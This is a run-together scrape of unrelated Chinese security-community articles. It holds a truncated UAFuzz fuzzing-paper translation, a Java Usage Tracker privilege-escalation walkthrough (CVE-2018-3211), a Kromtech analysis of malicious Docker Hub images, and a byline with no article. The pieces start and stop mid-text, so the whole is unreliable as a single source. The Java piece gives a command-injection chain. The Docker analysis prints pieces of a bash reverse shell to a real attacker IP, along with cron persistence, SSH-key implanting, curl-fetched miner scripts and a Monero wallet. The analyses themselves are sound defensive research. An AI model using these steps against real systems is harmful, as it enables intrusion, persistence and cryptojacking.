v我们在最先进的灰盒模糊器AFL和二进制分析平台BINSEC的基础上开发了一个工具链，命名为UAFuzz，实现了上述的基于二进制代码的UAF定向模糊测试方法（见第5章），同时享受了小型插桩和运行时开销等好处；
v我们构建并公开发布了第一个专门用于UAF的模糊测试基准，它包含了12个广泛使用的项目中的14个真正的bugs（包括由定向模糊器发现的少数以前的UAF
bugs），希望能促进将来UAF模糊测试评估的发展；
v我们在bug复现设置（见第6节）中评估了我们的技术和工具，证明了UAFuzz是高效的，并且显著优于最先进的竞争对手：触发bugs的平均速度提高了2倍（高达43倍），平均成功运行率提高了34%（高达+300%），分类bugs的平均速度提高了17倍（高达130倍）；
v最后，UAFuzz在补丁测试中也被证明是有效的，它在如Perl、GPAC和GNU补丁等安全关键项中发现了20个以前未知的bugs（包括一个buggy补丁）。所有这些bugs都被证实，且其中14个已被修复。
UAFuzz是第一个专用于检测只有bug堆栈跟踪的UAF漏洞（二进制）的定向灰盒模糊测试器。在这类漏洞方面，UAFuzz的bug复现性能优于现有的（所有）定向模糊器，并且在补丁测试方面也取得了令人鼓舞的成果。我们相信，我们的方法在稍微相关的环境中也可能有用，比如来自静态分析或其他漏洞类的部分bug报告。
## 2.背景
让我们先澄清一下这篇论文中使用的一些概念。
### **2.1Use-After-Free**
**执行：**
执行是通过程序对输入执行的完整状态序列。执行追踪会在以可见错误结束时崩溃。模糊器的标准目标是找到导致崩溃的输入，因为崩溃是通向可利用漏洞的第一步。
**内存安全错误：**
尤其是指内存安全违规的情况。这可以分成两类。空间安全冲突，比如缓冲区溢出，通常发生在将指针指向到其指定对象的限制范围之外时。目前的模糊器在发现这种错误方面已被证明是非常有效的。而时间安全冲突发生在指针的指向对象不再无效的时候（即指针悬空）。遵守一个好的堆栈规程通常是很容易的，并且足以避免涉及到指针指向堆栈对象的错误。因此，最严重的时间内存冲突包括指向堆上分配的对象的指针。这些被称为释放重引用(UAF)漏洞，其中Double
Free（DF）是一种特殊情况。
**UAF触发条件：**
触发UAF错误需要找到一个输入，该输入的执行序列包含3个UAF事件：一个分配（alloc）、一个释放和一个使用（通常是一个解引用），三者都引用同一个内存对象，如清单1所示。
**清单1：说明UAF错误的代码片段**
1 **char** * buf = ( **char** *) malloc ( BUF_SIZE );
2 free ( buf ); _// pointer buf becomes dangling_
3 …
4 strncpy (buf , argv [1] , BUF_SIZE -1) ; _// Use-After-Free_
此外，这种最后一次使用通常不会使执行立即崩溃，因为内存冲突只有当进程访问进程的地址空间之外的地址时才会使程序崩溃，这在使用悬挂指针时是不可能发生的。因此，UAF漏洞常常被忽视，从而是一个很好的可利用载体。
### **2.2堆栈跟踪和bug跟踪**
通过检查进程的状态，我们可以提取堆栈跟踪，即在该状态下活动的函数调用列表。当进程崩溃时，很容易从该进程中获取堆栈跟踪。由于它们提供了（部分）关于导致崩溃的程序位置序列的信息，因此对于
bug 复现非常有价值。
然而，由于UAF错误导致的崩溃可能在UAF发生很久之后发生，标准的堆栈跟踪通常无助于复现UAF bugs。希望用于动态检测内存损坏的分析工具，如as
an或VALGRIND，能够记录所有内存相关事件的堆栈跟踪：当它们检测到某个对象在被释放后被使用时，实际上会报告三个堆栈跟踪（当对象被分配、被释放时和被释放后被使用时）。我们称这种由3个堆栈跟踪组成的序列为（UAF）bug追踪。当我们使用bug追踪作为输入来尝试复现bug时，我们将这样的bug追踪称为目标。
**图1:VALGRIND生产的CVE-2018-20623（UAF）的bug追踪**
### **2.3定向灰盒模糊测试**
模糊测试是指通过大量的输入生成来强调被测代码以发现bugs。虽然最初的方法完全是黑盒，这或多或少类似于大规模随机测试，但最近基于覆盖率的灰盒模糊器（CGF）依靠轻量级程序分析来引导搜索，这通常是通过基于覆盖率的反馈。简单来说就是，当种子（输入）到达代码中未开发充分的部分时，该种子（输入）被优先（选择），然后对这些被优先（选择）的种子进行变异，以创建新的种子供代码执行。顾名思义，CGF致力于覆盖一个给定的代码，以期发现未知的漏洞。
另一方面，定向灰盒模糊测试（DGF）旨在尽可能频繁和快速地从目标（例如，补丁、静态分析报告）到达预先识别的潜在buggy代码部分。定向模糊器遵循CGF的一般规范和体系结构，但会根据目标调整关键组件，本质上有利于种子“更接近”目标。总体有向模糊器主要建立在三个步骤上：（1）插桩（距离预先计算），（2）模糊测试（包括种子选择、功率调度和种子变异），（3）分类。
在算法中给出了DGF的标准核心算法（我们在UAFuzz中修改的是灰色部分）。给定一个程序P、一组初始种子S0和一个目标T，算法输出一组触发bug的输入S’。模糊队列S用S0（见第1行）中的初始种子初始化。
1.DGF首先执行静态分析（例如，每个基本块的目标距离计算），并插入动态覆盖或距离信息的插桩（见第2行）；
2.模糊器反复地使从模糊测试S队列（见第4行）中选择出来的s输入变异，直到超时为止。如果一个输入是有利的（即被认为是有趣的），或者带有一个小概率α（见第5行），则选择该输入。随后，DGF将能量（也就是要产生的突变体的数量M）分配给所选种子s（见第6行）。然后，模糊器通过在种子s（见第8行）上随机应用一些预定义的变异算子生成M个新输入，并监视它们的执行（见第9行）。如果基因突变型s’使程序崩溃，则将其添加到崩溃输入的集合S’（见第11行）。另外，新产生的突变体被添加到模糊测试队列（见第13行）；
3.最后，DGF作为一组bug触发输入返回S’（分类在标准DGF中不起作用）（见第14行）。
**算法1：定向灰盒模糊测试**
AFLGO首先提出了一种基于CFG距离的方法以估计种子执行与多个目标之间的接近度，以及基于模拟退火算法的功率调度。HAWKEYE保留了基于CFG的看法，但提高了其准确性，提出了部分基于目标覆盖率（视为一组位置）的种子选择启发式算法，并提出了自适应变异。
**篇幅较长，未完待续……..** | 社区文章 |
研究人员发现Java Usage
Tracker的设计漏洞可以使攻击者创建任意文件、注入特定攻击者参数、进行权限提升等。这些串起来可以用来进行权限提升以访问受感染系统中本来受保护或受限于其他应用或用户的资源。
本文主要描述该漏洞在Windows平台上的工作原理，以及如何定义条件来触发该漏洞利用。
# Java Usage Tracker
Java Usage Tracker是Java中用来跟踪系统中Java运行时环境 (JRE) 的使用情况，有以下功能：
* Java virtual machine (JVM)开始配置参数日志信息；
* 将数据复制到日志文件或重定向到UDP服务器；
* 允许在Usage Tracker配置中指定日志值。
Java Usage
Tracker使用的配置文件为`usagetracker.properties`，其默认全局位置是与操作系统有关。比如，Windows的默认路径为`%ProgramData%\Oracle\Java\`。全局默认路径中的`usagetracker`文件会追踪系统中所有JVM的使用情况。
下图是`usagetracker.properties`的例子：
图1: usagetracker.properties示例
图1中第9行代码，Java Usage Tracker会将日志信息记录到文件`global_javatracker.log`中。以Apache
Tomcat系统为例，一旦为服务重启，就会创建`global_javatracker.log`文件，Java
usage追踪数据就会加入其中。新的追踪信息在每次服务开启后就加入到文件尾部。
下图是追踪的数据示例，不同的值是用，隔开的：
图2: Tomcat中追踪数据添加到global_javatracker.log文件中
# 用户控制参数
文件`usagetracker.properties`有两个参数可以控制Java Usage Tracker的行为：
* oracle.usagetracker.logToFile
* oracle.usagetracker.additionalProperties
`logTofile`特性允许用户选择系统中的任意日志文件路径，这些日志文件是被监控的JVM创建的。如果JVM以提升的权限允许，JVM就可以在系统的任意部分创建文件。文件的扩展名也是不受控制的，比如可以创建名为`global_javatracker.bat`的日志文件。
即使路径可以随意设置，因为JVM只从已有的、不受控的数据中写数据，所以文件的内容也是不受控的。但Java Usage
Tracker有一个特性就是可以从自定义的特征中取值。`additionalProperties`支持追踪任意和额外的自定义特性，如下图所示：
图3:通过additionalProperties 添加特定属性
图4: Tomcat服务重启后数据被追踪的代码片段
如图4所示，最后一行加入了一个值为空的配置的、追踪属性`com.anotherInterestingProperty=null`。该属性值为空，表示该属性不存在。
控制Java Usage Tracker行为的方式有两种：
* 设置任意日志路径
* 设置任意自定义属性
这种结合看似是不能被利用的，但当与其他安全漏洞相结合的时候就可以利用了。
# 利用自定义属性
下面是一个利用自定义属性的例子。如图5所示，第9行的配置文件会使Java Usage Tracker创建一个`.bat`文件，然后添加自定义属性：`ping
172.0.1.1 >`。自定义生成的文件就是`global_javatracker.bat`。
图5: global_javatracker.bat中的自定义属性
图6: global_javatracker.bat执行
自定义属性`ping 172.0.1.1 >= null`。如果批处理文件`global_javatracker.bat`执行，就会显示错误消息`“VM
start” is not recognized`。错误消息产生的原因是Java Usage
Tracker的属性文件只生成一行，通过配置`com.oracle.usagetracker.separator = ,`来设置。
将分割符号变成“新行（`\n`）”来生成不同的追踪日志，如图8所示。
图7: 用换行（\n）来分割的Java Usage Tracker
图8: 用换行分割生成的追踪日志
图8是在新行中显示所有的值，最后一行含有`172.0.1.1 >= null`。会导致`ping 172.0.1.1 >=
null`的执行，但因为有双引号，所以命令并不会执行。但也有可能执行因为特征周围的值可以通过配置`com.oracle.usagetracker.quote
= “`进行控制。
比如，创建一个空的配置，如图9所示。
图9: 空配置的com.oracle.usagetracker.quote
图10:从空配置的com.oracle.usagetracker.quote中生成的追踪日志
运行`global_javatracker.bat`会执行命令`ping 172.0.1.1 >=
null`。如图10所示，在cmd的尾部，创建了一个null文件。
截止当前，Java Usage Tracker可以：
* 被滥用在文件系统的任意位置创建文件；
* 被滥用来创建文本脚本文件。例子是batch文件，但也可以用来创建其他文件类型；
* 被滥用来注入任意命令（其他文本相关的脚本文件）。
可以在系统中的其他文件执行或创建脚本文件，但成功利用该文件也有条件：
* 恶意文件应该创建在关键位置，如自启动脚本；
* 为了访问关键位置，创建恶意文件的进程应该有较高的权限。
这两个条件都是可以实现的，比如Java Usage
Tracker的配置文件（`usagetracker.properties`）可以以非特权用户创建，恶意日志文件是用更高权限的进程来创建。
# Java Usage Tracker日志文件创建
当位于全局配置路径（如`%ProgramData%\Oracle\Java`）下时，JVM在系统中启动时会读取Java Usage
Tracker日志文件。以默认Tomcat安装为例，Tomcat安装后且全局`usagetracker.properties`在对的位置时，tracker日志会在Tomcat重启后创建，如图11所示。
因为Tomcat服务以`System`运行，因此恶意文件`global_javatracker.bat`可以在任意位置创建。但配置文件`usagetracker.properties`必须以非特权用户创建。
图11: Tomca安装后创建Tracker log
图12: Tomcat创建的log文件
# 本地提权
Java Usage
Tracker的全局配置文件会在默认路径`%ProgramData%\Oracle\Java\`下创建。位置和内容是在Java安装过程中创建的，但也是执行Java命令的结果。
默认权限`%ProgramData%`允许系统的`Users`来创建文件。当创建了`Oracle/Java`路径后，就会继承默认权限。图13显示了`%ProgramData%\Oracle\Java``的权限。
图13: %ProgramData%\Oracle\Java\授予的权限
为了说明漏洞利用：低权限的用户可以创建恶意配置文件`usagetracker.properties`，因为Tomcat服务器是以`System`权限运行的，所以可以在系统的任意位置创建batch文件。Batch文件可以包含加入开始脚本位置等路径。
# 结论
Java Usage
Tracker功能可以以多种方式滥用来进行权限提升。本研究只测试了Windows环境，但其他系统也应该是存在漏洞的。导致权限提升的攻击可以利用一连串的弱设计漏洞链：
* 任意文件类型创建。可以通过`oracle.usagetracker.logToFile`路径实现。
* 参数注入。通过`oracle.usagetracker.additionalProperties`实现。
* 本地权限提升。通过`%ProgramData%/Oracle/Java`中的弱权限实现。
* * *
本文翻译自：<https://blog.trendmicro.com/trendlabs-security-intelligence/cve-2018-3211-java-usage-tracker-local-elevation-of-privilege-on-windows/> | 社区文章 |
# Cryptojacking侵入云端：如何看待Docker镜像进入Docker Hub
|
##### 译文声明
本文是翻译文章，文章来源：kromtech.com
原文地址：<https://kromtech.com/blog/security-center/cryptojacking-invades-cloud-how-modern-containerization-trend-is-exploited-by-attackers>
译文仅供参考，具体内容表达以及含义原文为准。
Kromtech安全中心发现了17个存储在Docker
Hub整整一年的恶意docker镜像。即使在sysdig.com和fortinet.com通过GitHub和Twitter进行了多次投诉之后，网络犯罪分子仍在Docker
Hub上继续扩大他们的恶意软件武器库。由于拥有超过500万的吸引力，docker123321私人镜像库被认为是一个用于加密容器的跳板。如今，像Kubernetes这样的可公开访问、配置不当的编排平台越来越多，这让黑客能够创建一个完全自动化的工具，迫使这些平台挖掘门罗币。通过将恶意镜像推送到Docker
Hub镜像库，并将其从受害者的系统中提取出来，黑客能够挖掘544.74枚门罗币，相当于90000美元。
这是时间表：
图1.恶意docker123321镜像库生命周期的时间表
部署用于教育目的或缺乏安全需求的Kubernetes集群对其所有者构成巨大威胁。即使是一位经验丰富的工程师，在测试之后，也可能不在乎甚至忘记基础设施的那部分。
## 背景
Palo Alto Networks [发布](https://www.paloaltonetworks.com/threat-research?PageSpeed=noscript)：
攻击者通常通过窃取身份或信用卡号码，然后在地下市场上出售，从中获利。根据Verizon数据泄露调查报告，[被盗记录](http://www.verizonenterprise.com/verizon-insights-lab/dbir/)的[价格已经下降](http://www.verizonenterprise.com/verizon-insights-lab/dbir/)，因此网络攻击者正在寻找新的途径来提高他们的利润。得益于攻击分布、匿名支付以及对数据进行可靠加密和解密的能力不断提升，勒索软件正在遭受重创。
随着加密货币潮流的到来及几种加密货币价格的上涨，加密货币挖掘恶意软件事件的数量也在增长。一段时间以来，网络犯罪分子一直在对被劫持的机器进行加密货币攻击，他们发现这种攻击比勒索软件更加有利可图。然而，恶意软件的作者们现在已经找到了一种新的方法，可以将他们的邪恶行为转移到云端，从而避免了劫持个人计算机的需要。寻找配置不当的云本地环境，黑客的目的是利用大型计算能力挖掘加密货币。
## 我们为什么这样做？
我们注意到，黑客对像Kubernetes这样可公开访问的编排平台的兴趣有所增加——这是一个容器编排工具，可自动执行容器的部署、更新和监控。
在2018年初，[Sysdig的研究](https://sysdig.com/blog/detecting-cryptojacking/)表明，攻击者已经从EC2漏洞攻击转向了特定于容器的攻击和特定于kuberne漏洞的攻击。位于蜜罐服务器上的预配置的Kubernetes实例被恶意Docker容器毒害，这些容器将挖掘门罗币。
加密攻击已经成为现实生活中的一个问题，针对的是形形色色的受害者，从个人消费者到大型制造商。在2018年2月，[Checkpoint
的研究人员发现](https://research.checkpoint.com/jenkins-miner-one-biggest-mining-operations-ever-discovered/)了有史以来发现的最大的恶意挖矿作业之一。网络犯罪分子在Jenkins
Java反序列化实现中利用了已知的CVE-2017-1000353漏洞。由于Jenkins被称为部署最广泛的自动化服务器，估计有100万用户，这种攻击导致了更严重的后果。在恶意挖矿作业中，黑客累积了10,800枚门罗币，目前价值3,436,776美元。
与此同时，在2018年2月，[RedLock的](https://blog.redlock.io/cryptojacking-tesla)[研究人员发现](https://blog.redlock.io/cryptojacking-tesla)，数百台Kubernetes管理控制台可以在没有任何密码保护的情况下通过互联网访问，其中包括属于Tesla的服务器。黑客渗入了Tesla的Kubernetes控制台，该控制台没有密码保护。在一个Kubernetes
pod中，访问凭证暴露在Tesla的AWS环境中，该环境包含一个Amazon S3（Amazon Simple Storage
Service）存储桶，该存储桶包含一些敏感数据，比如遥测技术。除了数据暴露，黑客还从Tesla的一个Kubernetes pod中进行加密货币挖掘。
Tesla事件只是我们将在未来几个月和几年中看到的众多基于容器技术漏洞利用的第一个。
## 什么是容器、Docker和Kubernetes？
容器是一种打包软件的方式。你可以把它想象成运行一个虚拟机，而不需要占用整个操作系统的开销。
Docker可以帮助你在容器中创建和部署软件。使用Docker，你可以创建一个名为Dockerfile的特殊文件。Dockerfiles定义了一个构建过程，当它被提供给“docker
build”命令时，将生成一个不变的docker镜像。你可以将此视为应用程序的快照，随时准备就绪。当你想启动它时，只需使用“docker
run”命令在支持和运行docker守护进程的任何地方运行它。它可以在你的笔记本电脑上，也可以在你的云服务器上，或在树莓派上。Docker还提供了一个名为Docker
Hub的基于云的存储库。你可以将它想象为Docker镜像的GitHub。你可以使用Docker Hub来存储和分发构建的容器镜像。
当你需要在正确的时间启动正确的容器时，请弄清楚他们如何相互通信、处理存储问题以及处理容器或硬件故障，这就是Kubernetes的切入点。Kubernetes是一个开源的容器编排平台，允许大量的容器协同工作，减少操作负担。它有助于以下事情：
l 在许多不同的机器上运行容器
l 当需求发生变化时，通过添加或删除容器来放大或缩小规模
l 保持存储与应用程序的多个实例一致
l 在容器之间分配负载
l 如果发生故障，在不同的机器上启动新的容器
Kubernetes得到了所有主要容器管理和云平台的支持，如Red Hat OpenShift、Docker EE、Rancher、IBM
Cloud、AWS EKS、Azure、SUSE CaaS和Google Cloud。
## 网络犯罪分子的行为如何
[Aqua Security](https://blog.aquasec.com/cryptocurrency-miners-abusing-containers-anatomy-of-an-attempted-attack)和[Alexander
Urcioli](https://medium.com/handy-tech/analysis-of-a-kubernetes-hack-backdooring-through-kubelet-823be5c3d67c)分别解释了Docker引擎和Kubernetes实例的原始攻击方案。
在第一个案例中，Aqua Security的研究人员用一个“意外”暴露的docker守护程序模拟了一个系统。这是他们两天后发现的：
l 记录了数百个可疑行为，其中许多是自动创建的。
l 攻击者试图为镜像和容器管理执行各种docker命令。
l 在成功收集关于正在运行的Docker版本的信息后，攻击者使用docker导入功能进行镜像注入。
l 在成功的镜像注入之后，攻击者将开始挖掘。
第二个案例展示了[Alexander Urcioli](https://medium.com/handy-tech/analysis-of-a-kubernetes-hack-backdooring-through-kubelet-823be5c3d67c)
如何遇到一个已经被妥协的Kubernetes集群。他意识到，由于配置不当，导致了kubelet端口（TCP 10250、TCP
10255）的公开和未经身份验证的API请求，攻击者：
l 发送了两个请求：一个初始POST和一个后续的GET命令给kubelet 。
l 通过kubelet 在正在运行的Docker容器上执行dropper脚本。名为“ kube
.lock”的Dropper脚本将从transfer.sh下载挖掘软件并执行它。
最近，我们发现了另一个令人不安的问题，即配置不当的[kubernetes ](https://kromtech.com/blog/security-center/weightwatchers-exposure-a-simple-yet-powerful-lesson-in-cloud-security)[集群](https://kromtech.com/blog/security-center/weightwatchers-exposure-a-simple-yet-powerful-lesson-in-cloud-security)。事实证明，kubelet
在端口10250上公开了一个未经过身份验证的端点。
让我们再来回顾一下[Alexander Urcioli的](https://medium.com/handy-tech/analysis-of-a-kubernetes-hack-backdooring-through-kubelet-823be5c3d67c)研究：
kubelet监听有两个端口:10255和10250。前者是只读HTTP端口，后者是HTTPS端口，基本上可以做任何你想做的事情。
进一步的检查显示，Kubernetes
PodList泄露了AWS访问密钥（访问密钥ID和秘密访问密钥），这些密钥仅提供对AWS环境的根访问，包括Amazon EC2、RDS、S3和其相关操作。
当我们查看[最新的](https://kubernetes.io/docs/reference/command-line-tools-reference/kubelet/)[kubelet ](https://kubernetes.io/docs/reference/command-line-tools-reference/kubelet/)[文档时，](https://kubernetes.io/docs/reference/command-line-tools-reference/kubelet/)我们会发现负责在任何容器中运行代码的调试处理程序。该选项在默认情况下是启用的。
–enable-debugging-handlers Default: true
允许服务器端点进行日志收集和容器和命令的本地运行
在默认情况下，与暴露的10250端口一起保留的选项可能会导致灾难性的后果。
我们现在可以假设，一个普通的网络罪犯可以采取哪些步骤来攻击基于容器的虚拟环境：
l 通过Shodan、Censys 或Zoomeye 自动收集目标。
l 渗透易受攻击或错误不当的Docker镜像库或Kubernetes实例。
l
利用弱默认设置并在容器中注入挖掘恶意软件。通常，这是通过向docker主机注入恶意的docker镜像来实现的。实现这一目的的常用方法是将镜像推送到镜像库（Docker
Hub是自然位置），并将其从受害主机中提取出来。
这一切都需要C2服务器，网络犯罪分子如何构建它：
l 通过Shodan、Censys 或Zoomeye 自动收集目标。
l 利用AutoSopIt等自动化开发远程目标。
l 完全控制被攻击的目标，并在那里放置C2服务器。
## Docker是否关心？
为什么将挖掘恶意软件打包到Docker容器是可行的？我们决定从安全的角度来研究Docker镜像。
在一次[采访中](https://medium.com/s-c-a-l-e/how-containers-became-a-tech-darling-and-why-docker-became-their-poster-child-bfaf9ac87825)，爱立信云计算负责人Jason
Hoffman表示：“由于是新的软件包管理，因此Docker正在崛起。”
这很好地解释了Docker的迅速采用，但也隐藏了Docker镜像通常依赖于底层Linux发行版提供的软件包管理器的事实。像[CentOS
5.11](https://registry.hub.docker.com/_/centos/)这样的镜像是为了兼容性而故意保留的，并且具有Shellshock漏洞。
从<https://medium.com/microscaling-systems/dockerfile-security-tuneup-166f1cdafea1>
容器和虚拟机之间的主要区别之一是容器与主机共享内核。默认情况下，docker容器以root身份运行，这将导致出现断网风险。如果你的容器以root用户身份受到攻击，那么它将对主机进行根访问。
Docker在有限的时间内将安全扫描作为免费预览提供。从Docker [文档](https://docs.docker.com/v17.12/docker-cloud/builds/image-scan/)：
Docker安全扫描
Docker安全扫描预览服务将于2018年3月31日结束，以用于Docker Cloud和Docker
Hub中的私有回购（而非官方回购）。在此之前，私人回购扫描仅限于“latest”标签每天扫描一次。
从[blog.docker.com](https://blog.docker.com/2016/05/docker-security-scanning/)：
Docker安全扫描与Docker
Cloud一起，在将新图像推送到存储库时触发一系列事件。该服务包括扫描触发器、扫描器、数据库、插件框架和连接CVE数据库的验证服务。
安全扫描为你的Docker镜像提供了一个详细的安全性配置文件，用于主动风险管理和简化软件遵从性。Docker安全扫描在部署镜像之前对映像进行二进制级扫描，提供详细的物料清单（BOM），列出所有层和组件，持续监视新漏洞，并在发现新漏洞时提供通知。
从Docker [文档](https://docs.docker.com/docker-cloud/migration/)：
Docker Cloud中的集群和应用程序管理服务将于5月21日关闭。你必须将你的应用程序从Docker Cloud迁移到另一个平台，并删除你的集群。
Docker Cloud的运行时间正在停止。这意味着你将不再能够管理你的节点、集群以及在Docker
Cloud中运行的应用程序。为了保护你的应用程序，你必须将它们迁移到其他平台，如果可以，还必须将集群从Docker Cloud中删除。
看起来Docker的生态系统正变得更加面向企业，安全迁移和进一步安全维护的责任落在了普通的开发人员身上。
## 什么地方出了错？
多条推文提到了嵌入式加密矿工：
图2\.
Twitter用户发现Docker容器中的嵌入式BTC矿工。<https://twitter.com/jperras/status/894561761252319232>该镜像已被禁止
图3.Twitter用户抱怨说，在Docker Hub上没有便捷的方式报告恶意软件
图4.由于没有便捷的方式在Docker Hub上报告恶意镜像，用户在GitHub上投诉。
当我们在GitHub上浏览的时候，我们发现了一个引起我们注意的投诉：
图5\. Docker Hub docker123321镜像库被指控存储恶意镜像
图6.公共存储库<https://hub.docker.com/r/docker123321/>大约在2017年5月创建，涉嫌存储了17个恶意镜像
镜像的名称
|
创建时间戳
---|---
docker123321/tomcat
|
2017-07-25 04:53:28
docker123321/tomcat11
|
2017-08-22 08:38:48
docker123321/tomcat22
|
2017-08-22 08:58:35
docker123321/kk
|
2017-10-13 18:56:22
docker123321/mysql
|
2017-10-24 01:49:42
docker123321/data
|
2017-11-09 01:00:14
docker123321/mysql0
|
2017-12-12 18:32:22
docker123321/cron
|
2018-01-05 11:33:04
docker123321/cronm
|
2018-01-05 11:33:04
docker123321/cronnn
|
2018-01-12 02:06:11
docker123321/t1
|
2018-01-18 09:54:04
docker123321/t2
|
2018-01-19 09:41:46
docker123321/mysql2
|
2018-02-02 11:40:53
docker123321/mysql3
|
2018-02-02 18:52:00
docker123321/mysql4
|
2018-02-05 14:05:18
docker123321/mysql5
|
2018-02-05 14:05:18
docker123321/mysql6
|
2018-02-07 02:16:29
在2017年7月和8月分别创建了三个恶意的docker镜像：
l docker123321/tomcat
l docker123321/tomcat11
l docker123321/tomcat22
我们使用CLI使用“$ docker inspect docker123321/tomcat”检查了docker映像：
图7\. CLI命令的输出
事实证明，该镜像运行一个包含一系列命令的shell脚本：
l 将/ etc /从主机文件系统挂载到/ mnt / etc /内部，以便将它写入主机上/ etc下的文件。
l 在主机上添加新的cronjob到/ etc / crontab。它允许攻击者获得对受害者系统的持久性。
l Cronjob每分钟运行一次，并执行Python反向
Shell，这会为攻击者提供受害者机器上的交互式shell。攻击者在服务器端写入的所有内容都通过套接字发送。然后受害者的系统会像命令一样在子进程中执行它。
想象一下，一个没有经验的用户提取docker123321 /
tomcat这样的镜像。即使用户意识到镜像不是它所代表的内容，并试图将其从系统中删除，用户也很容易被黑客攻击。
此镜像与以前的恶意shell脚本类似，因为它也：
l 向主机上的/ etc / crontab添加一个新条目以执行有效载荷
图8.“$ docker inspect docker123321 / tomcat11”CLI命令的输出
与前面的示例不同的是，这个shell脚本运行的是Bash反向Shell，它执行以下操作：
l 使受害者机器连接到控制服务器，然后将会话转发给它。
l 命令bash -i>＆用“交互式（interactive）”选项调用bash。
l 然后/dev/tcp/98.142.140.13/3333通过设备文件将该会话重定向到TCP套接字。Linux已经构建了一个/ dev /
device文件。
l 这个内置的设备文件允许bash直接连接到任何IP和任何TCP端口
l 最后0>＆1接收标准输出，并将其连接到标准输入。
我们意识到，当容器在受害者的机器上运行时，它将使攻击者控制远程命令执行的机器。
图9.“$ docker inspect docker123321 / tomcat22”CLI命令的输出
在这里，我们找到了一个shell脚本，它的作用如下：
l 将/root/.ssh/从主机文件系统挂载到容器内的/mnt/root/.ssh/，以便将其写入主机上/root/.ssh/下的文件。
l 将SSH密钥添加到主机上的/root/.ssh/authorized_keys文件。它的目的是提供访问，而不需要为每次登录设置密码。
一旦完成，它授予攻击者对受害者机器的完全控制。赚取利润就像在一个受损系统上注入勒索软件或在受损系统上进行挖掘一样简单。
2017年10月：添加了2个新的恶意镜像：
l docker123321/kk
l docker123321/mysql
图10.“$ docker inspect docker123321 / kk”CLI命令的输出
检查显示以下行为：
l 首先，它在主机/ etc目录下添加一个新的crontab条目。
l Cronjob每分钟运行一次，并使系统工具curl下载test44.sh。
图11\. test44.sh
l test44.sh bash脚本文件包含启动5个加密采矿bitnn / alpine- xmrig容器的命令序列，这些容器连接到crypto-pool.fr采矿池。
犯罪分子的门罗币钱包出现在bash脚本中——41e2vPcVux9NNeTfWe8TLK2UWxCXJvNyCQtNb69YEexdNs711jEaDRXWbwaVe4vUMveKAzAiA4j8xgUi29TpKXpm3zKTUYo
图12.犯罪分子的门罗币钱包
支付金额为544.74 XMR，相当于89097.67美元。这里有很高的可能性，这近9万美元是通过使用加密挖掘容器污染云环境赚取来的。
在docker123321/mysql中实现了一个类似的算法：
图13.“$ docker inspect docker123321 / mysql”CLI命令的输出
当容器运行时，将发生以下情况：
l 首先，它在主机/ etc目录下添加新的crontab条目。
l Cronjob每分钟运行一次，并使系统工具curl下载logo3.jpg，这实际上是一个bash脚本。
l 该脚本包含一系列命令，可以在受害者的机器上启动挖掘软件。
fortinet.com早前已经对docker123321/cron的test44.sh和相同的恶意logo1.jpg进行了[详细的研究](https://www.fortinet.com/blog/threat-research/yet-another-crypto-mining-botnet.html)。
研究表明，docker123321镜像可以分为五类。
Docker镜像名称
|
恶意软件的类型
---|---
docker123321/tomcat
docker123321/mysql2
docker123321/mysql3
docker123321/mysql4
docker123321/mysql5
docker123321/mysql6
|
容器运行Python反向Shell
docker123321/tomcat11
|
容器运行Bash反向Shell
docker123321/tomcat22
|
容器添加攻击者的SSH密钥
docker123321/cron
docker123321/cronm
docker123321/cronnn
docker123321/mysql
docker123321/mysql0
docker123321/data
docker123321/t1
docker123321/t2
|
容器运行嵌入式加密货币矿工。
（在容器运行的情况下，它将下载恶意的.jpg文件，该文件在bash中运行并公开挖掘软件。）
docker123321/kk
|
容器运行嵌入式加密货币矿工
（在容器运行的情况下，它将下载恶意的.sh文件，该文件在在bash中运行并公开挖掘软件。）
表1\. Python反向Shell和嵌入式加密货币矿工持有大部分镜像
Docker镜像名称
|
镜像中使用的IP地址
---|---
docker123321/cron
docker123321/cronm
|
162.212.157.244
docker123321/mysql
|
104.225.147.196
docker123321/mysql0
|
128.199.86.57
docker123321/mysql2
docker123321/mysql3
docker123321/mysql4
docker123321/mysql5
docker123321/mysql6
|
45.77.24.16
docker123321/data
|
142.4.124.50
docker123321/kk
|
198.181.41.97
docker123321/tomcat
docker123321/tomcat11
|
98.142.140.13
docker123321/cronnn
|
67.231.243.10
docker123321/t1
docker123321/t2
|
185.82.218.206
表2.攻击者使用9个IP来寻址他的远程服务器
一个简单的查找（例如67.231.243.10）显示IP被用于处理恶意软件，包括：
l [xmrig.exe](https://github.com/xmrig/xmrig) –
开源的[加密货币](https://github.com/xmrig/xmrig)挖掘工具
l .jpg文件，被混淆的恶意bash脚本
l PowerShell脚本
图14\. IP地址信息
当我们使用Shodan CLI获得最常用IP的历史视图时，我们看到以下内容：
图15\. Shodan主机信息
图16
图17
它显示了与OpenSSH、Pure-FTPd、ProFTPD和Apache HTTP
Server相关的网络服务中的许多漏洞。攻击者很有可能利用这些漏洞将远程机器变成命令和控制服务器。
## 结论
对普通用户来说，只需从DockerHub中提取一个Docker镜像，就像从任何地方提取任意二进制数据，执行它，并且希望获得最好的结果，而不必知道它里面的内容。
我们应该考虑的主要问题是可追溯性。提取Docker映像的过程必须是透明的，并且易于遵循。首先，你可以简单地尝试查看Dockerfile，以了解FROM和ENTRYPOINT符号以及容器的功能。其次，使用[Docker自动化构建](https://docs.docker.com/docker-hub/github/#automated-builds-from-github)来构建Docker镜像。这是因为，使用Docker自动构建，你可以在Dockerfile的源代码、镜像的版本和实际的构建输出之间获得可追溯性。
每一个构建的细节都显示了大量的信息，用于提高镜像的可信度：
l 使用Dockerfile从git存储库获取的SHA
l 显示执行的Dockerfile中的每条命令
l 最后，这一切都以推送的镜像摘要结束
Kubernetes的部署同和传统环境一样容易遭受来自黑客和内部人员的攻击和利用。通过攻击编排工具，黑客可以破坏正在运行的应用程序，甚至可以控制用于运行容器的底层资源。旧的安全模型和工具将无法跟上不断变化的容器环境。你需要问问自己，你是否能够监控容器或容器内发生的情况，以确定是否存在潜在的漏洞利用。特别注意最具破坏性的“杀死链”攻击——一系列的恶意活动，共同实现攻击者的目标。检测链中的事件需要多层次的安全监控。
Kubernetes集群中的内部和外部通信应被视为安全配置中最重要的部分。我们学到的关键概念是：
l 该连接不够安全，无法在internet.kubelet上运行。
l 必须使用SSH隧道将数据包安全地放到集群的网络上，而不会将kubelet的Web服务器暴露给互联网。
l kubelet需要使用由集群CA签名的证书来服务其https端点。
遵循这些原则可以帮助你获得一定程度的安全意识。
审核人：yiwang 编辑：边边 | 社区文章 |
作者：AArti Singh
来源：<http://www.hackingarticles.in/linux-privilege-escalation-by-exploiting-cron-jobs/>
* * *
